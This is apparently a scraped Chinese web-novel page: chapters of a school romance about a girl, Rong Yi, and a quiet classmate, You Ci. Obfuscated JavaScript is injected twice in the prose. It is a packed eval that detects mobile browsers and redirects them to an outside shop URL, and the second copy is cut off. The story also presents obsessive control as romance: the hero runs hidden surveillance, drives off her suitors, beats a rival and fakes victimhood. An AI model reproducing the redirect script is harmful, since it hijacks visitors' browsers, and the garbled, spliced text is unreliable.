各种复杂的情感在心脏堆叠。酸涩、不安、刺痛。他搁下笔,再抬起头的时候,眼睛有点红。 他起身抽了支烟。 站在落地窗前,窗纱在摇晃。他身影颀长,投落下一片晦涩的影子。 外面下着雨,深夜暮色里,一股潮湿泥泞的味道。窗户下的一楼,开着栀子花,白净又皎洁。 风潮湿咸涩,夜色里,他黑色的碎发垂落着,显得面孔更加冷白阴鸷。 修长的两指夹着烟尾。烟圈纷纷扰扰,吞吐着潮湿难言的心事。 单薄的黑色短袖贴着他好看的锁骨。眉头轻蹙着。 他其实没什么烟瘾。但太过烦闷不安的时候,会一根接一根,没完没了地抽。 上次像这样不间断地抽烟,还是因为唐煜那件事。 容艺和他不一样,他有着强烈的自我约束力,喜欢一个人就会把对方当做无法割舍的执念。而容艺根本不懂喜欢是什么,她权把这一切当做有趣的游戏。 唐煜对她示好,摇尾乞怜,日复一日地展现体贴和关心。她居然就这么轻易地被打动。 他不喜欢她这样。于是在她看不见的地方,他替她解决了唐煜这件麻烦事。 像这样的事情,还很多。容艺的烂桃花,有一半是他替她挡走的。他不介意再多一个盛锐。 烟灰落下来,烫了一下手心。 他低头看了眼自己打着绷带的手。 容艺说,他恢复的很快,很快就会好了。 但他并不想好的那么快。 抽完烟,情绪才稍微镇定下一点。 房间里布满了监控,他是个极度缺乏安全感的人。要尽可能地抓住想要抓住的东西。而容艺偏偏是一只热爱自由的蝴蝶,这是他见到她的第一眼,就意识到的事。 他静坐了会,复又拧开笔盖。 没什么波澜地把刚刚晕了墨的字迹划掉。 继续写: 她问要不要送我回来。我说好。 下过雨的路很潮湿,她走在前面。走得很快。 她走在我的影子里。她都没发现。 她开车很急。不放心。 有点想念昨天。以及,期待明天。 - 醒来的时候,沈欣茹已经去上学了。 她动作太轻了,容艺都没发觉她是什么时候起床的,本来是想趁着她去上学的时候跟她一起出门的。 不然只留她一个人面对赵兰,多少都有些尴尬。 沈欣茹家的床很柔软,一想到现在下去就要和她妈赵兰尴尬对峙,容艺索性摆烂,侧过身子继续眯了会。 可一闭眼,夜里做过的梦就又清晰地涌上来。 她噌地一下坐起来。呼吸变得很急促。 什么鬼?她怎么会梦到游赐啊…… 而且还那么奇怪。 她揉了下头,确定自己没有发烧。 得,睡不去了。 只能起床去洗漱。 洗漱完以后,容艺换了件黑色的短T,之后才谨慎地下了楼。 好在赵兰正在和一个客人唠嗑,两人边嗑瓜子边聊得正欢,注意力完全没放在她身上。 她路过赵兰身边的时候,还是很有礼貌地打了个招呼:“赵阿姨,我走啦。” 赵兰连个鼻孔都没朝她,倒是那个客人意味深长地看了她一眼。 就在容艺走出卷闸门之后,两个人的交谈隐隐约约漏进她的耳朵里。 “这不是那个柳曼秀家的女儿吗?昨天在你家啊?” 赵兰觉得晦气:“别提了,我家那个小的,上赶着把扫把星把家里带呢。” 容艺眉心跳了下。没停留,兀自朝她的小电瓶车走去。早晨下过雨,现在虽然停了,但路面还是有些潮湿。 她跨坐上坐垫,才发现后视镜柱上挂着那个白色头盔。 昨天是游赐给她系的,她摘下来以后,就随手挂在上面了。 靠……该死,怎么又想他了。 容艺皱眉,摘下头盔戴上。 骑到一半的时候,裤兜里的手机震了下。容艺单脚点地,停下,掏出来看一眼,上面的备注是“小鱼”,是俞思妤打过来的。 她滑动接听:“喂?” 对面俞思妤的声音甜美又动听:“容容,晚上记得来训练哦,我给你带奶茶。” 俞思妤和黎新言他们都是伏海高职的高三学生,虽然成绩不是很好,人品却没话说。她人脉很广,天性自来熟。 容艺知道是黎新言让她来催的,她点头应允:“不用带奶茶,我会来的,忘不了。” “客气什么,那就说好了,晚上见啊。” 容艺挂断电话,没什么情绪地拧动车把手前行。回家的路上经过她妈开的美容店。店门还是紧闭的,看起来很长时间都没有人打理过了。 她轻皱了下眉。 但很快又自嘲般地冷笑一声,她瞎操心个什么劲儿。从出事到现在,柳曼秀什么也没跟她说过,她们虽说是母女,但实际却疏远得跟陌生人没差别。 她想也没想,加速转过那店面。 - 容艺住的那条巷子有名字,叫浮花巷。原因无他,只因早年间这里还算比较繁华,各家各户门前总是栽种着一溜儿各式各样的花卉。 容艺的生父容津还活着的时候,是个有文化的穷书生,这房子离伏海三中很近,他之前是伏海三中的一名语文老师。 他独独偏爱这栀子花,于是绿玻璃矮窗前,便栽种着几树栀子花。 那时候日子虽然清贫,但好在他和柳曼秀两个人足够相爱,所以即使身居陋巷,一家人倒也其乐融融。 容津死的时候,容艺还很小。 后来长大了些,再回到这里的时候,很多邻居都早已搬走。就连柳曼秀也再婚了。 似乎只有她一个人永远被困在了潮湿颓圮的梅雨季里。 她熟练地把车停回车棚里,然后掏出钥匙开门。 房间里一股潮湿的霉味。容艺看了眼天色,虽然没继续下雨,但也没太阳。她从洗浴室里拎出几件没干的衣服晾到了窗户外面的横杆上。 阴干的衣服总是会带着一股不太好闻的味道。 弄完这一切,肚子咕咕叫了一声。她才想起没进食。 于是简单用小锅煮了碗泡面。交错缠绕的电线有点老化,汤汁汩汩四溅,处处都透露着危险的警戒。 容艺把泡面盛出来,扒拉了几口,觉得嘴里没什么味道。但她也舍不得浪费,还是硬着头皮吃完了整碗泡面。 吃完以后犯困,她躺在床上。心里有点难受,像有石头压着。 她什么也没有。没钱,没亲人,没任何依靠。 想到这儿,睡意莫名消散。脑海里骤然闪过黎新言说过的话,也许,好好学习,参加高考,确实是她离开这里唯一的方式。 可是……她现在已经高二了,距离高考只剩下一年时间,她能行么? 之前浪费的光阴,此刻像回旋镖一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326961|140423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,切切实实地打在她身上。 她趴在床上,拿过一本教辅书来看。没看两页就又犯困,她真的一点也看不懂。 这周处分一消,下周一就得进行分班考。 就她现在这个样子,无疑是要进最后一个班的。 容艺叹了口气,一张明媚的面庞因为看不懂的数学符号而带上一层阴翳。 改天还是和沈欣茹一起去图书馆学习吧。虽然沈欣茹成绩也常年吊车尾,但比起她来,稍微还是好一点的。 她性子傲,在学校里其实没什么朋友。沈欣茹算是她唯一的朋友。 看着陌生的符号,她突然想起上次游赐说过的话,他说先看懂正余弦的定义再做题。 诶,他是不是成绩还挺好的?那……以后不懂的题目是不是也可以问问他? 不过话又说回来,他会不会嫌烦?毕竟他们非亲非故的。 容艺手支着下颏,脑海里却又不自然地浮现出今早做过的那个不可描述的梦。 耳廓蓦地烧红。 靠,她现在在想什么啊?她怎么可能会喜欢游赐? 她跟他都没见过几面,怎么可能就因为他长得好看就喜欢他啊? - 伏海高职的管理并不是很严,一天就只有四节课。早上两节,下午两节。中午午休的时候,学生甚至还可以选择不吃食堂,自己出来买饭吃。 黎新言吃不惯学校食堂的饭菜,一般是和几个朋友在校门口的小吃街买点。 盛锐之前和他关系其实一般,两人也不是同个班的,后来不知怎么地,居然也玩到一块去了,还经常约着一起吃中饭。 可今天他左等右等,却没等见盛锐。 俞思妤拉着庞龙的手,似乎也注意到这一点,于是问黎新言:“诶,盛锐呢,他今天不跟我们一起吃饭么?” “估摸着有事儿吧,咱们自己去吃。”黎新言边说边掏出烟盒,转动着掏出一支,然后又把烟盒扔给庞龙,“来一根。” 庞龙个子很高,头发却剃的极短。一脸不好惹的刺头模样,他接过烟盒。正准备掏出烟来,手心却一紧。 他低眉看了眼俞思妤。她的手指轻捏了他一下,鼻子皱着。 他立刻会意,轻笑了声,把烟递还给黎新言:“戒了。” 黎新言睨他一眼:“玩呢?” “没办法,家里管得严。” 黎新言没反应过来是什么意思,一根筋地问:“不是说你家里不怎么管你么?” 俞思妤清了清嗓子:“我管。” 黎新言无语地翻了个白眼:“……” 得,合着他也成了小情侣之间的一环。 - “锐哥,你最后收尾的那个三分真漂亮。” 打完球后,一个小平头边喝水边回顾刚刚结束的球局,“下次我还要跟你一队。” “差不多得了。”盛锐把球丢给他,伸手捞起短袖擦了下脸上津津的汗液,“去哪儿吃饭?” “外面那条垃圾街好像新开了家煲仔饭,去吃不?我请客。”平头接过球,他难得慷慨一回,实则是想借此抱盛锐的大腿。 “铁公鸡拔毛了?”有便宜不占是傻蛋,盛锐嗤笑一声,“行。” 一行人往校门口走去,此时正是中午吃饭的高潮,人有点挤。 隐约中,盛锐感觉后衣领一紧——有人提住了他的球衣。 “?”他处在状况之外,疑惑地扭过头。 人来人往的嘈杂人潮里,盛锐对上一双冷淡的眼睛。 少年指腹有点冰凉,凭借着身高优势,轻而易举地捏着他的衣领。 盛锐眉心跳了一下,认出游赐,几乎是下意识道:“照片我都删了,还有事?” 游赐神情寡淡,眼睫轻扫了下:“嗯。” 冷的让人发憷。 盛锐喉结上下滑动。 平头哥本来走在前面,见盛锐没跟上来,回头一看,发现一个从没见过的陌生面孔提着盛锐的衣领,他语气有点不友善:“哪儿来的没眼力见的东西?把你的爪子拿开。” 说着就要去推开游赐。 游赐慢条斯理地抬眼看他。 平头手伸到一半,瞥见他的眼神,莫名像被电了下,没什么底气地虚张声势道:“看什么看啊?” 话虽这样说,手却安分地缩了回去:“锐哥,这谁啊?你认识?” “把手拿开。”盛锐脸色难看,没答平头的问话。 他之前和游赐打过照面,这次再见面,心里或多或少对他还是有点阴影。 但好在和上次在医院不一样,今天这是他的地盘。 刚刚那句话,便是他对游赐下的最后通牒。 “如果,不呢?”游赐神情倦懒。 他今天没穿校服,而是穿了件黑色的短袖,衬得他肤色更加冷感。 盛锐嗤笑一声:“你这是什么意思?” “没什么意思。” “想闹事?” “不介意闹事。” “可以啊,”盛锐咬着牙,顿了下,此时正值饭点,又是在校门口,他不想在这里把事情闹大。 于是他挑眉,语气里都是挑衅,问,“是不是想揍我?” 游赐面色不改,回答的很直白:“是。” 10. 微醺 盛锐听笑了:“就你?” 说完上下打量了眼游赐。 他不是很结实的那种类型,肤色冷白,甚至看上去有点病恹恹。 盛锐凑近游赐耳边,用只有他们两个听得见的声音对他耳语,“小子,上次得了便宜你就该见好就收,来之前有没有打听过你盛爷的名字啊?” “不感兴趣。”游赐看也没看他一眼。 盛锐:…… “你特么是上赶着找打啊?”盛锐一听这话,脾气上来了,捏着拳头正要往他脸上招呼,谁知那拳头还没出手,就被游赐打着绷带的手轻易捏住。 少年没什么情绪道:“这儿人多,换个地方。” 盛锐:? - 十分钟后,天空开始下起小雨来。 颓圮的无人小巷里。 盛锐摔在地上,眼睑一块青紫。身旁躺着他的几个狐朋狗友。 他强撑着坐起来,手掌骨传来酸麻的疼痛。 盛锐口腔里出血,啐出一口鲜红液体:“不是,哥们,我到底哪里惹你了?犯得着这么针对我么?” 游赐嘴角被划破,有一道很细小的伤口:“我说过,离她远一点。” 盛锐:“我离她已经够远了啊。” 放在往常,他早就直接上手了。这次好歹他还矜持了会儿,扮演了个正人君子的角色。 但说实在的,医院那次,游赐对他的恐吓,其实他根本没有放在心上,毕竟他也是个混不吝。 他扮演正人君子,其实是有自己小心思在的。 表面上,他看似没有主动接近容艺,但是暗地里,却无不施展出对容艺周到的关心来。 这是一种更高段位的把妹手法。 游赐用指腹揩去那道细小的划痕,提醒他:“你似乎忘记了某个比赛。” 盛锐闻言,抬手擦了擦脸,淤青疼得他“嘶”了一声,忙着撇清干系:“那是她哥主动找的我,再说了,谁他妈稀罕那个破比赛啊?” 要不是为了有个合理的借口接近容艺,他才懒得去。 游赐半蹲下来,下颌绷的很紧,拿出手机递给盛锐:“打过去,说拒绝。” “不是,你凭什么指点我……”盛锐脾气发泄到一半,却看见游赐脸色阴沉的可怕,带着几分骤降的低气压。 “需要我教你么?”少年黑色碎发略微遮住一部分眼瞳。 盛锐吞咽了下半句,识相地拿过手机,按了黎新言的号码递到耳边。 “免提。”游赐轻撩眼皮,倦懒地看他一眼。 盛锐不爽地用舌尖抵了下左腮,心想这小子到底是哪里冒出来的,他怎么之前没见过这号人物。 想到这,他手指极不耐烦地点开了免提键。 对面黎新言刚好接听,“喂”了声。 “那个,我周日有事情,去不了那个电竞比赛了,你另外找个人去吧。”盛锐几乎是皱着眉把这句话说出来的,嘴角的伤口疼得他龇牙咧嘴。 游赐没什么表情的听他们对话,目光落在自己打着绷带的左手上。 上面沾了些泥土。 啧,脏了啊。 “不是,你说什么?”黎新言以为自己听错了,“好端端的,你咋又突然不去了?” 盛锐对上游赐的眼睛:“不想去了。” “之前不是说好的么?老子名都报上去了,你闹着玩啊?我他妈现在上哪去弄个人来啊?”对面的黎新言有点抓狂。 游赐没等盛锐回答就已经按灭屏幕,边起身边旋转手机收进口袋。 他垂眸看了眼歪在地上的盛锐,嘴角轻勾起一个弧度:“好好养伤。” - “靠,怎么又下雨了啊?” 容艺从床上爬起来,准备把刚刚晒在外面的衣服进房间。 没什么防备地推开门。 她瞳孔一缩,错愕了两秒。 门框边居然背倚着个穿着黑色宽松短袖的少年。也不知道他什么时候来的,在门外又等了多久。 听见开门的声音,少年才转过身。 目光很浅淡地落在她身上。 容艺蓦地想起昨夜做过的那个梦,手指不太自然地抚上后颈,她收回目光,表情尽量保持镇定:“今天放学这么早?” “不是。”游赐摇了下头,“我请了假,没去学校。” “身体不舒服么?”容艺几乎是下意识问道,问出口以后才后知后觉自己多管闲事,换了句看起来没那么体贴的措辞,“怎么突然来找我?” 游赐眼底藏着一丝被关心后的餍足,慢条斯理地把缠着纱布的手举到她面前:“脏了。” 容艺顺着他抬手的动作看过去,缠绕整齐的绷带上有一段惹眼的黑,沾了些尘泥。 “怎么搞的?” “不小心磕了。” “磕了?”容艺将信将疑,见他脸上有一道很细小的伤口,“脸上的伤又是怎么回事?” 游赐没再说话,垂着眼眸,一副被欺负了的委屈态势。 “有人欺负你?”容艺想到了什么,三中也不是没有社会人。 游赐眉心跳了下,许久,故意轻点了下头。 “谁欺负的你?”学校里稍微有名点的社会人,容艺大多都认识。 游赐没说。 “你就这么好欺负啊?”容艺心里突然就很不是滋味,她想过游赐老实,没想到他真这么老实。 她没好气地收了挂在屋檐下的几件衣物,然后顺手将它们挂进洗浴室,又看着站在门口的他,说了句“进来。” 游赐个子高,门框很低,每次进来的时候都需要略低一下头。 容艺拿出医药箱里的包装材料,翻出一张创可贴递给他:“喏,我下午还有事情,刚好你来了,我也省得晚上专门为你跑一趟。” 游赐接过创可贴,明知故问道:“什么事情?” 表情却没什么变化。 “就一个电竞比赛。”容艺用剪刀剪开他有些脏了的绷带,露出内里新生长出来的肌肤,已经有部分开始结痂了,“好的挺快啊?” 游赐活动着,看了眼自己的伤口。 容艺简单给他清理了下伤口,复又打上绷带,对他说:“很快就可以不用打绷带了。” 她低着头,只有在说这话的时候才抬起头。 嘴巴微张着,唇形很漂亮。 游赐没应声,目光晦涩。 他可不确保这伤口能按时恢复。 用剪刀剪下最后一段纱布的时候,容艺手机突然响起来。 看了眼名字是黎新言打过来的。 习惯性想点免提,但又想到上次沈欣茹闹的尴尬乌龙。容艺只好放弃免提,用肩膀抵着下颏,夹着手机接听。 她手不停,语气冲着电话那头:“这么早催我干嘛?我吃过晚饭再来。” “不是说这个,”黎新言捏了捏眉心,“那比赛,别去得了。” 容艺刚好包扎完,一听黎新言这话,立刻从床上弹起来,接过手机靠近耳边,皱眉道:“好端端地,说什么屁话?” 她脾气爆,听不得一点退缩的言论。更何况这比赛事关五千块的奖金。 又看了眼游赐,她还欠着他三百块。 游赐坐在椅子上,闲散地看着容艺新包扎好的绷带,腕骨自如地活动着,手上还捏着那一张没贴的创可贴。 心里莫名感到一阵畅快。 “你听我说,”黎新言也很苦恼,“事发突然,盛锐那小子刚给我打电话说不去了,比赛时间又紧,我问了一圈也没凑到什么人,那几个玩游戏的早就自己组好了队伍,也不带我……” “人我会想办法,小鱼和庞龙没说不去吧?”她背对着游赐站立,一只手搭在腰上,她比例不错,腰线很高,黑色短袖分外修身。 “我还没来得及跟他们说。”电话那头的黎新言打了个哈欠。 “晚上老时间网吧见。”容艺挂了电话,随手把手机扔到一边,心里莫名有点烦躁,黎新言做事就是不靠谱。 她收好药物,游赐安静地坐在一边,潮湿的屋子里静悄悄,外面飘着几斜梅雨。 盛锐退赛的事情混合着嘈杂的雨声,让她心烦。她看了眼坐在椅子上的游赐,注意到他手里的创可贴还没贴。 “干嘛不贴?” “没必要贴。”就那么一点小伤口,贴什么贴。 “少逞强。”容艺一把抽出那个创可贴,第一次见他的时候,他就逞强伤了手,今天又被欺负了还逞强不说。 她撕开封贴,对着他说:“抬头。” 游赐顺从地扬起脸。 黑色额前碎发下的眼睛像起着一层雾似的,晦涩难耐。 容艺站在他面前,轻轻用棉签清理了那道伤口,然后一手捏着他的下颏,一手把创可贴贴到他的嘴角。 动作间,指腹擦过他的嘴唇。温温热的。 他敏锐地嗅到她身上的味道,眼睫轻轻颤了下。 容艺看着他的脸,突然想到了什么似的,问:“喂,好学生,会玩游戏么?” 少年意识到什么,慢悠悠仰起脸,欲情故纵道:“会一点。” 他面孔白净如瓷,就连撒谎都这样镇定,看不出一点破绽。 “挺好的,”容艺收了手,“能请你帮个忙么?” 主动权交到了游赐的手里。 “什么忙?” “这周末有个电竞比赛,就我之前说的那个,我们有个队友临时退赛,缺个人,”容艺顿了下,“想请你补上。” “我不厉害。”游赐如是说。 “不用你多厉害。”容艺对自己的技术很自信,像是害怕游赐会拒绝似的,她又补充了句,“你可以来打辅助。” “辅助?” “对,别的你什么都不用干,只要保护我就好了。”末了,容艺又放出一个自以为诱惑的条件,“第一名奖金五千,赢了的话,我们五个人每人都可以分到一千块,怎么样?” 窗外细雨在飘,少女站着,故意拉长了音调。 游赐擅长心理战术,也故意没有说话。 容艺看出他的犹豫,宽慰道:“不用紧张的,就一个市里举办的小比赛,对手也都是业余的,和我们水平都差不多。我玩AD很厉害,带你一个绝对没问题。再不济,只要挺进前八,就有奖金了。” “我不缺钱。”少年音调很浅。 “但我缺,”容艺找到了突破口,她看着他,一字一句真诚道,“我很缺钱,我还欠你三百块,你再看看我家,家徒四壁的,所以,你要不要帮帮我?” 她眼睫垂着,杏眼沾湿,凝眸看他。很少有人会对她的眼睛说不。 “……可以。”游赐松了口。 - 容艺打车到的时候,黎新言一行人还没到。 她站在前台,打了好几个催命电话过去。 游赐则安静站在一边等她。 梅雨季节的网吧,潮湿的很,老板为了不让电脑受潮,开了空调。有点冷,混杂着难闻的味道。 十分钟过去,黎新言先到了,还是开了上次的那个游戏包厢。 电脑屏幕泛着幽蓝的清光,容艺拉过身边的椅子,示意游赐坐过来:“你坐我旁边。” 游赐应了声“嗯”,然后长腿一迈,坐到她身边去。 黎新言看了他一眼,没认出这是游赐,扭头问容艺:“这你哪里找来的人?” 容艺没理他,包厢门这时刚好被俞思妤推开。 她把点好的奶茶递给容艺:“容容,你喝这个。”眼睛瞥到坐在角落的游赐,觉得脸生,于是好奇问了句,“这是替补盛锐的么?” 容艺接过奶茶,礼貌道了句谢:“对。”然后简单向大家介绍了游赐。 介绍完以后,她没多余废话,简单明了地重新划分了分路:“我还是打AD,庞龙也还是去对抗,小鱼我记得你的英雄池里中路玩的也不错。” “对,我可以去打中路。”俞思妤很快就反应过来容艺的意思,于是接过话茬。 “好,你去中路,黎新言,你去打野。” “行。”黎新言懒洋洋道。 “至于你,”容艺看了他一眼,“别的你都不用管,你只要保护我就行。” 电脑屏幕散逸着幽蓝的光,少年五官幽深隽邃:“好。” 容艺给他借了个全英雄的号,登上以后又问他:“玩过这游戏么?” 游赐简单看了眼操作 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“牛!我就知道你肯定能赢的!”沈欣茹又嘟囔着抱怨了几句,“可惜我没看见,本来我也想来的,我妈不让,非说下周一有个什么分班考,我都快气死了!” 被沈欣茹这么一说,容艺才想起来“分班考”这茬事,她捏了下眉心:“你在家好好复习吧,不然考差了你在你妈那交不了差啊。再说了,你心心念念的盛锐又没来。” 电话那头的沈欣茹仿佛被戳穿心思似的,支支吾吾了会:“哪有……” 容艺看破不说破:“我明天还有比赛,我先挂了。” “好,等你好消息,我继续学习了。”沈欣茹挂断电话。 “容容!”刚挂电话,对床的俞思妤突然神秘兮兮地叫了她一声。 “怎么了?”容艺坐起身来,朝她那边看去。 “我睡不着,想去买点饮料喝,跟不跟我去?” 容艺想了会,答:“行的。” “就知道你最好了。”俞思妤扯着嘴笑。 “就咱俩?你不带庞龙去吗?”容艺穿着睡裙,坐在床沿边。浅棕色的长发垂落下来,没化妆的面孔却已经姝艳至极。 “哎呀,带他干什么,他老直男了,一点意思都没有,我只想跟你出去玩。”俞思妤眨着眼睛。 容艺捞过长发,顺向一边,戏谑地问了一嘴:“庞龙知道不会吃醋啊?” 俞思妤并起食指靠近嘴唇,做了一个“嘘”的手势:“别告诉他就行。”说完还冲着容艺撒了个娇。 不得不承认,甜妹撒娇起来真是无敌,连容艺都被动容了,更别提庞龙了。 她拿了个发夹别在额间,笑颜一展:“那就去呗。” …… 找了个24小时便利店,俞思妤点了一堆麻辣烫。容艺倒是不爱吃这些,只随手拿了一瓶果汁。 等麻辣烫的时间,她俩找了个窗边的座位坐下。 便利店里放着舒缓的背景音乐。时不时有人进来买东西,塑胶门帘一动一动的,发出沉闷的声响。 容艺喝了两口果汁,觉得有些头晕,脸蓦地烧红起来。 俞思妤注意到她的异常,扶着她的手问她要不要紧。 容艺没说话,俞思妤抓过她手上的果汁一看:“我靠,这不是果汁啊,里面怎么有酒精?” 容艺对酒精耐受性很低,她刚刚完全是没看仔细,误以为这是瓶果汁才拿的。 “你没事吧?容容?”俞思妤紧张的不行。 容艺强打着精神,但身体却有些虚浮。 俞思妤紧张到连麻辣烫也不要了,急忙扶着容艺要回酒店休息。 _ 好不容易扶着容艺进了电梯,容艺整个人虚浮着,胃里一阵翻涌的恶心。 她后悔自己怎么没看仔细一点。虽然浓度不高,她也只喝了两口,但足以令她眩晕。 俞思妤见状替她按了三楼,退出电梯:“容容,你先上三楼,我去给你买点药,很快就回来。” 容艺保持着最后一丝理智,点头:“好。” “你一个人能行么?要不我先陪你上去,再下来买。”俞思妤有点放心不下。 容艺咳嗽了声:“能行,我在房间等你,早点回来。” 电梯门刷的一声合上。 俞思妤退出去,没走两步,就跟从步行楼梯下来的庞龙撞了个正着。 “大半夜的去哪儿?”庞龙问了句,“打你电话怎么不接?” 俞思妤“嘶”了一声,庞龙占有欲强,要是被他知道她出去玩特意不带上他,指不定要闹什么小脾气呢。她随即绽开一个甜甜的笑:“房间里矿泉水喝完了,我下来拿两瓶。” 庞龙还没说话,俞思妤就先发制人:“那你呢,你大半夜不睡觉,要去哪里?” “我在找你。”庞龙扫了她一眼,自然地抓过她的手闻了闻,“你身上有股什么味道?出去玩了?” 俞思妤心下一凉。 …… 电梯上了三楼,容艺艰难走出来。 一路扶着墙,脚底一阵虚浮,像踩在轻盈的棉花里。深一脚、浅一脚地往前走,她脑子有点发懵,记忆断了片。 好不容易走到房门前,她掏出口袋里的房卡,在感应器上刷了刷。 奇怪,门怎么没开? 脑子晕的厉害,酒精已经上脑,烧的她整张脸都很热,全然忘记了俞思妤不在房间,她伸出手去用力拍打房门:“小鱼、开门……” 没人应。 在酒精的作用下,她有点不耐烦,拍门的力度加重了些。整个身子倚靠在门上,急促地拍着:“小鱼、开……” 门开了。房间里没有开灯,她骤然失去重心,迷迷糊糊中,左脚踩右脚,往前摔了下去。 下一秒,一只沐浴过后潮湿的手臂抓住了她。 游赐的手臂紧实有力,抓着她纤细的手腕,另一只手已经自如地覆上她的后背。 容艺困乏至极,摔进他的怀里。 他在黑暗中有一瞬间恍了神。 直到少女贴着他的肌肤,小声地打起睡鼾来。 闻到她身上的味道,他目光晦涩了几分:“啧,不太听话呢。” 11. 占有欲 少女长发滑落,整个人都毫无防备地靠在他宽厚的臂弯上。 均匀的呼吸很温热。 有一下没一下地掠过皮肤。 一瞬间。属于她的气息铺天盖地地纠缠上来。 浓烈、馥郁。 他喉结上下滚了滚。手抵在她纤细的后背。 容艺柔软的长发绕过他修长的指节。 很柔软的触感。像猫科动物的毛发。 他很轻易就闻到她身上带着的洗发水味道。那种味道他以前在私自珍藏的发绳上闻见过。 她没力气地抓着他的臂弯,把头往他的颈窝里蹭。 游赐垂眸看她。 他刚从浴室出来,水雾还没来得及擦干,听见敲门声,随手套了件短袖。 隔着一层衣物,没擦干的水珠被她贴的很热。 她皱着眉,睡得不是很安稳,脑子很糊,一点儿也使不上力气,只是缠着他喃喃一句:“口渴……” 声音很小,很轻,很平时张扬的音调形成格外鲜明的对比。这是她第一次在他面前这样。 他见惯了她独当一面的样子,却第一次见到她柔软的样子。 心脏像被什么东西刺了下。 汹涌的、复杂的情感像横亘丛生的藤蔓一般,就隔着缠绕,一寸一寸地刺向心扉,直达某个顶点。 而后理智的弦如裂帛一般割裂、断开,张牙舞爪,叫嚣着喷薄而出。 心跳加速。 血管里逼仄的血液汩汩流淌。流淌成轰然的潮声。 他抬脚把门带上,边往里走边点亮廊灯。 把她打横抱起来,放到最近的沙发上。放手的顷刻,少女的身躯立刻陷落在宽大的布艺沙发里。 游赐站在她身侧,少年骨架高手,垂着手,居高临下地看她。 少女面色酲红,睫毛轻颤着,长发随意垂落,五官精致,是带有攻击性的那种大五官,明艳绮丽,美的就像一块精雕细琢的玉器。 他目光黯了黯,手心却烧灼起来。心底那种复杂的占有欲又翻涌上来。 容艺眉心皱得很紧,酒精烧胃,难受的要命,她艰难挣脱睡意,努力把眼睛睁开。 廊灯照不到这边,眼前的人影被晃成朦胧的几个虚影,她没看清,还以为是俞思妤。 几乎是下意识地去抓他的手。 “小鱼……给我倒杯水……” 少年眼睛眯了眯。 被她抓着的手在发烫。 他感觉心脏在剧烈跳动,连同脉搏里都浸满着嘈杂的心跳声。 汹涌到无法忍耐,快要爆炸。 他隐忍着,轻拨开她的手。很快就将一瓶矿泉水倒了点在玻璃杯里。 手持着玻璃杯再走到她面前的时候,游赐微微俯身,半跪着靠近她。 她垂着头,额前的碎发滑落下来,刚好悬在鼻尖。痒痒的。 他自如地抬手,将她额前的那缕长秀发拢到耳后,露出少女明秀的面孔。 轻声道:“喝水。” 冰凉的玻璃杯覆上少女温热的唇。 容艺先是本能地含了一口冰水,而后手捧着抓过玻璃杯,很急地喝起来。水珠顺着唇角滑落,在长发上凝落,不小心濡湿了睡衣。 游赐拿过纸巾,替她擦了擦嘴唇,声音很哑:“还渴吗?” 整个过程中,他的表情都是淡淡然的,目光却始终笼在她身上。 容艺喝了点水,稍微舒服了些,很慢很慢地点了下头:“嗯……” 于是游赐起身,又重新为她倒了杯水。 这次容艺只喝了一半就没再喝了。她又晕又困,头无力地向后靠着,枕上沙发后,眼睛就又不由自主地合上。 游赐捏着杯子,问她:“好一点了?” 容艺没说话,只是轻咂了咂嘴。 看上去像是睡着了。 游赐看了一会她的睡姿。这是他第一次窥见她睡着的姿态,毫无防备、弱化了所有的攻击性质。 容艺睫毛很长,睡觉的时候会轻微地翕动。像蝴蝶鳞翅上的轻盈茸毛。 约莫过了十分钟,他才想起自己手里还捏着一个玻璃杯。晃了晃,里面还有她没有喝完的水。他起身,一口一口地把剩下的水都喝完,然后才把玻璃杯放回原处。 房间里,一切都静悄悄。今天难得没有下雨,三楼的酒店窗户外面,能看得见几抹微弱的星子,低悬在暮夜之间。 夜色和廊灯的交汇处,容艺歪斜在布沙发上。布料并不柔软,硌的肌肤有些发疼。她睡得不太安稳,时不时要翻动身子。 游赐的目光从始至终一直落在她身上。 他垂着眼睫想了会,决定早点把她送回去。 容艺又翻了个身,酒精烧灼,热的厉害,身上的衣物都化作负累,她索性烦躁地踢掉鞋子。 晦暗的光线里,她脚垂在沙发边,点在木地板上。脚腕踝骨纤细,白的晃眼,上面圈着一条极细的红绳,格外惹眼。 心底莫名又升起一股烦躁。 游赐没多犹豫地向她走过去。 他捡起被她踢走的鞋子,沉着脸帮她穿回去。 踝骨处的那根纤细红绳在摇晃。 她一向都不怎么安分,此刻更是不安分地乱动。 如果今天,容艺因缘巧合下敲开的,不是他的门……游赐不敢想。因为只要一想到这,心脏就会莫名□□。 他没法接受别人窥探她的目光。他要把她看得更牢一点。 恰这时,门外传来一阵骚动。 游赐听见走廊上局促的脚步声,同时还间杂着急切的对话声。 走廊上,俞思妤急的要命,边说话边来回踱步:“容容到底去哪儿了?” 黎新言被她来回晃得头晕:“你他妈问我?我睡的好好的,突然被你们叫醒,我上哪儿知道去?” 庞龙闻言,脸色很不好看,语气很冷:“你凶什么?” 黎新言委屈道:“……我哪凶了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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少年高瘦的身影堆叠成好几个虚影。 她摇了下头,努力破除那些障碍。 再抬起头的时候,她看清楚是游赐。 少年站在她对面,穿着件宽松短袖,五官轮廓隐匿在晦涩的廊灯灯光下。一只大手正握着她纤细的手腕。 容艺惊慌失措地往后躲,边挣开他的手边尖锐地叫起来:“我靠,你怎么在这里?” 她晕的厉害,没搞清楚状况,还以为是游赐闯进了她的房间。 走廊外的几人正好捕捉到这动静。 俞思妤几乎是第一时间反应过来去拍游赐的门:“容容,你在里面吗?” 门被拍的震天响。 与此同时,房间里,游赐长身玉立,表情闪过一丝玩味,不紧不慢道:“我倒也想知道。” 